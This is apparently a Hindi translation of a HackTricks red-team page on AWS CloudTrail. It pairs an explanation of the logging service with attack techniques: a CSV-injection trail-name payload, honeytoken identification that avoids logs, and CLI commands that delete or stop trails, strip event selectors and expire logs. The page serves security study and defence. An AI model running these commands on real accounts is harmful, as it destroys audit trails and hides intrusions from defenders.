AWS - CloudTrail Enum
Reading time: 15 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
CloudTrail
AWS CloudTrail आपके AWS वातावरण के भीतर गतिविधियों को रिकॉर्ड और मॉनिटर करता है। यह विस्तृत इवेंट लॉग कैप्चर करता है, जिसमें यह शामिल है कि किसने क्या किया, कब, और कहाँ, सभी AWS संसाधनों के साथ इंटरैक्शन के लिए। यह परिवर्तनों और क्रियाओं का एक ऑडिट ट्रेल प्रदान करता है, जो सुरक्षा विश्लेषण, अनुपालन ऑडिटिंग, और संसाधन परिवर्तन ट्रैकिंग में मदद करता है। CloudTrail उपयोगकर्ता और संसाधन व्यवहार को समझने, सुरक्षा स्थिति को बढ़ाने, और नियामक अनुपालन सुनिश्चित करने के लिए आवश्यक है।
प्रत्येक लॉग की गई घटना में शामिल है:
- कॉल की गई API का नाम:
eventName
- कॉल की गई सेवा:
eventSource
- समय:
eventTime
- आईपी पता:
SourceIPAddress
- एजेंट विधि:
userAgent
। उदाहरण: - Signing.amazonaws.com - AWS प्रबंधन कंसोल से
- console.amazonaws.com - खाते का रूट उपयोगकर्ता
- lambda.amazonaws.com - AWS Lambda
- अनुरोध पैरामीटर:
requestParameters
- प्रतिक्रिया तत्व:
responseElements
घटनाएँ लगभग हर 5 मिनट में एक JSON फ़ाइल में एक नए लॉग फ़ाइल में लिखी जाती हैं, इन्हें CloudTrail द्वारा रखा जाता है और अंततः, लॉग फ़ाइलें लगभग 15 मिनट बाद S3 में वितरित की जाती हैं।
CloudTrail के लॉग को खातों और क्षेत्रों के बीच समेकित किया जा सकता है।
CloudTrail लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें तब से अपरिवर्तित रही हैं जब से CloudTrail ने उन्हें आपको वितरित किया। यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।
जब एक ट्रेल बनाया जाता है, तो इवेंट चयनकर्ता आपको लॉग करने के लिए ट्रेल को इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि घटनाएँ।
लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) इसलिए AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं।
लॉग एक S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत होते हैं:
BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
- बकेट का नाम:
aws-cloudtrail-logs-<accountid>-<random>
- उदाहरण:
aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/
प्रत्येक फ़ोल्डर के अंदर प्रत्येक लॉग का नाम इस प्रारूप का पालन करेगा: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz
लॉग फ़ाइल नामकरण सम्मेलन
इसके अलावा, डाइजेस्ट फ़ाइलें (फ़ाइल की अखंडता की जांच करने के लिए) समान बकेट में होंगी:
कई खातों से लॉग को समेकित करना
- उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें वितरित करना चाहते हैं
- गंतव्य S3 बकेट पर अनुमतियाँ लागू करें जो CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देती हैं और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है
- अन्य AWS खातों में एक नया ट्रेल बनाएं और चरण 1 में बनाए गए बकेट का उपयोग करने का चयन करें
हालांकि, भले ही आप सभी लॉग को एक ही S3 बकेट में सहेज सकते हैं, आप एक ही AWS खाते से संबंधित CloudWatch लॉग में कई खातों से CloudTrail लॉग को समेकित नहीं कर सकते।
caution
याद रखें कि एक खाते में विभिन्न ट्रेल्स हो सकते हैं जो CloudTrail सक्षम हैं जो विभिन्न बकेट में समान (या विभिन्न) लॉग को संग्रहीत करते हैं।
सभी संगठन खातों से 1 में CloudTrail
जब एक CloudTrail बनाया जाता है, तो यह संकेत देना संभव है कि सभी खातों के लिए CloudTrail सक्रिय किया जाए और लॉग को केवल 1 बकेट में प्राप्त किया जाए:
.png)
इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और लॉग को 1 खाते में केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)।
लॉग फ़ाइलों की जांच
आप यह जांच सकते हैं कि लॉग में कोई परिवर्तन नहीं किया गया है।
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
Logs to CloudWatch
CloudTrail स्वचालित रूप से लॉग को CloudWatch में भेज सकता है ताकि आप संदिग्ध गतिविधियों के प्रदर्शन पर चेतावनी देने वाले अलर्ट सेट कर सकें।
ध्यान दें कि CloudTrail को CloudWatch में लॉग भेजने की अनुमति देने के लिए एक भूमिका बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS की डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी:
- CreateLogStream: यह CloudWatch Logs लॉग स्ट्रीम बनाने की अनुमति देता है
- PutLogEvents: CloudTrail लॉग को CloudWatch Logs लॉग स्ट्रीम में भेजता है
Event History
CloudTrail Event History आपको एक तालिका में रिकॉर्ड किए गए लॉग का निरीक्षण करने की अनुमति देता है:
Insights
CloudTrail Insights स्वचालित रूप से लिखित प्रबंधन घटनाओं का विश्लेषण करता है जो CloudTrail ट्रेल्स से आती हैं और आपको असामान्य गतिविधि के बारे में चेतावनी देता है। उदाहरण के लिए, यदि TerminateInstance
घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं।
Insights उसी बकेट में CloudTrail लॉग के साथ संग्रहीत होते हैं: BucketName/AWSLogs/AccountID/CloudTrail-Insight
Security
Control Name | Implementation Details |
---|---|
CloudTrail Log File Integrity |
|
Stop unauthorized access |
|
Prevent log files from being deleted |
|
Access Advisor
AWS Access Advisor अपने अंतर्दृष्टि को इकट्ठा करने के लिए पिछले 400 दिनों के AWS CloudTrail लॉग पर निर्भर करता है। CloudTrail AWS खाते में किए गए AWS API कॉल और संबंधित घटनाओं का इतिहास कैप्चर करता है। Access Advisor इस डेटा का उपयोग यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने किन AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को अनुमतियों को परिष्कृत करने के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं।
tip
इसलिए, Access Advisor उपयोगकर्ताओं को दी जा रही अनावश्यक अनुमतियों के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके
.png)
Actions
Enumeration
# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]
# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>
# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
CSV Injection
CloudTrail के अंदर CVS इंजेक्शन करना संभव है जो मनमाने कोड को निष्पादित करेगा यदि लॉग को CSV में निर्यात किया जाता है और Excel के साथ खोला जाता है।
निम्नलिखित कोड एक खराब ट्रेल नाम के साथ लॉग प्रविष्टि उत्पन्न करेगा जिसमें पेलोड शामिल है:
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)
अधिक जानकारी के लिए CSV इनजेक्शन के बारे में पृष्ठ देखें:
Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks
इस विशेष तकनीक के बारे में अधिक जानकारी के लिए देखें https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/
डिटेक्शन बायपास
हनीटोकन बायपास
हनीटोकन को संवेदनशील जानकारी के एक्सफिल्ट्रेशन का पता लगाने के लिए बनाया गया है। AWS के मामले में, ये AWS कुंजी हैं जिनका उपयोग मॉनिटर किया जाता है, यदि उस कुंजी के साथ कोई कार्रवाई ट्रिगर होती है, तो इसका मतलब है कि किसी ने वह कुंजी चुरा ली है।
हालांकि, Canarytokens, SpaceCrab, SpaceSiren द्वारा बनाए गए हनीटोकन या तो पहचानने योग्य खाता नाम का उपयोग कर रहे हैं या सभी ग्राहकों के लिए एक ही AWS खाता आईडी का उपयोग कर रहे हैं। इसलिए, यदि आप खाता नाम और/या खाता आईडी को बिना Cloudtrail के कोई लॉग बनाए प्राप्त कर सकते हैं, तो आप जान सकते हैं कि कुंजी एक हनीटोकन है या नहीं।
Pacu के पास कुछ नियम हैं यह पता लगाने के लिए कि क्या एक कुंजी Canarytokens, SpaceCrab, SpaceSiren** से संबंधित है:**
- यदि
canarytokens.org
भूमिका नाम में दिखाई देता है या खाता आईडी534261010715
त्रुटि संदेश में दिखाई देती है। - हाल ही में उनका परीक्षण करते समय, वे खाता
717712589309
का उपयोग कर रहे हैं और नाम में अभी भीcanarytokens.com
स्ट्रिंग है। - यदि
SpaceCrab
त्रुटि संदेश में भूमिका नाम में दिखाई देता है - SpaceSiren उपयोगकर्ता नाम उत्पन्न करने के लिए uuids का उपयोग करता है:
[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
- यदि नाम यादृच्छिक रूप से उत्पन्न होता है, तो यह एक हनीटोकन होने की उच्च संभावनाएँ हैं।
कुंजी आईडी से खाता आईडी प्राप्त करें
आप एक्सेस कुंजी के अंदर कोडित से खाता आईडी प्राप्त कर सकते हैं जैसे कि यहां समझाया गया है और अपने हनीटोकन AWS खातों की सूची के साथ खाता आईडी की जांच करें:
import base64
import binascii
def AWSAccount_from_AWSKeyID(AWSKeyID):
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]
z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
e = (z & mask)>>7
return (e)
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
Check more information in the orginal research.
लॉग उत्पन्न न करें
इसका सबसे प्रभावी तकनीक वास्तव में एक सरल है। बस उस कुंजी का उपयोग करें जिसे आपने अभी पाया है अपने हमलावर खाते के अंदर किसी सेवा तक पहुँचने के लिए। इससे CloudTrail आपके अपने AWS खाते के अंदर एक लॉग उत्पन्न करेगा और पीड़ित के अंदर नहीं।
बात यह है कि आउटपुट आपको एक त्रुटि दिखाएगा जो खाता आईडी और खाता नाम को इंगित करता है, इसलिए आप देख पाएंगे कि क्या यह एक Honeytoken है।
लॉग के बिना AWS सेवाएँ
अतीत में कुछ AWS सेवाएँ थीं जो CloudTrail को लॉग नहीं भेजती थीं (यहाँ एक सूची खोजें)। उन सेवाओं में से कुछ त्रुटि के साथ कुंजी भूमिका का ARN प्रदान करेंगी यदि कोई अनधिकृत (हनीटोकन कुंजी) इसे एक्सेस करने की कोशिश करता है।
इस तरह, एक हमलावर बिना किसी लॉग को ट्रिगर किए कुंजी का ARN प्राप्त कर सकता है। ARN में हमलावर AWS खाता आईडी और नाम देख सकता है, हनीटोकन की कंपनियों के खाता आईडी और नाम जानना आसान है, इसलिए इस तरह एक हमलावर यह पहचान सकता है कि क्या टोकन एक HoneyToken है।
caution
ध्यान दें कि सभी सार्वजनिक APIs जो CloudTrail लॉग नहीं बना रहे थे, अब ठीक कर दिए गए हैं, इसलिए शायद आपको अपना खुद का खोजना होगा...
अधिक जानकारी के लिए मूल शोध देखें।
तीसरी अवसंरचना तक पहुँच
कुछ AWS सेवाएँ कुछ अवसंरचना उत्पन्न करेंगी जैसे डेटाबेस या कुबेरनेट्स क्लस्टर (EKS)। एक उपयोगकर्ता सीधे उन सेवाओं से बात कर रहा है (जैसे कुबेरनेट्स API) AWS API का उपयोग नहीं करेगा, इसलिए CloudTrail इस संचार को नहीं देख पाएगा।
इसलिए, EKS तक पहुँच रखने वाला एक उपयोगकर्ता जिसने EKS API का URL खोज लिया है, वह स्थानीय रूप से एक टोकन उत्पन्न कर सकता है और API सेवा से सीधे बात कर सकता है बिना Cloudtrail द्वारा पता लगाए।
अधिक जानकारी में:
CloudTrail कॉन्फ़िग को संशोधित करना
ट्रेल्स हटाएँ
aws cloudtrail delete-trail --name [trail-name]
ट्रेल्स रोकें
aws cloudtrail stop-logging --name [trail-name]
मल्टी-रीजन लॉगिंग को अक्षम करें
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
ईवेंट चयनकर्ताओं द्वारा लॉगिंग बंद करें
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। "ReadWriteType": "ReadOnly"
यह संकेत करता है कि इवेंट चयनकर्ता केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए (इसलिए CloudTrail अंतर्दृष्टि लिखने के इवेंट की जांच नहीं करेगी उदाहरण के लिए)।
आप अपने विशिष्ट आवश्यकताओं के आधार पर इवेंट चयनकर्ता को अनुकूलित कर सकते हैं।
S3 जीवनचक्र नीति के माध्यम से लॉग हटाना
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
बकेट कॉन्फ़िगरेशन को संशोधित करना
- S3 बकेट को हटाएँ
- बकेट नीति को बदलें ताकि CloudTrail सेवा से किसी भी लेखन को अस्वीकार किया जा सके
- S3 बकेट में जीवनचक्र नीति जोड़ें ताकि वस्तुओं को हटाया जा सके
- CloudTrail लॉग को एन्क्रिप्ट करने के लिए उपयोग किए गए kms कुंजी को निष्क्रिय करें
Cloudtrail रैनसमवेयर
S3 रैनसमवेयर
आप एक विषम कुंजी उत्पन्न कर सकते हैं और CloudTrail को उस कुंजी के साथ डेटा एन्क्रिप्ट करने के लिए बना सकते हैं और निजी कुंजी को हटा सकते हैं ताकि CloudTrail सामग्री को पुनर्प्राप्त नहीं किया जा सके।
यह मूल रूप से एक S3-KMS रैनसमवेयर है जो कि इस में समझाया गया है:
KMS रैनसमवेयर
यह विभिन्न अनुमतियों की आवश्यकताओं के साथ पिछले हमले को करने का सबसे आसान तरीका है:
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।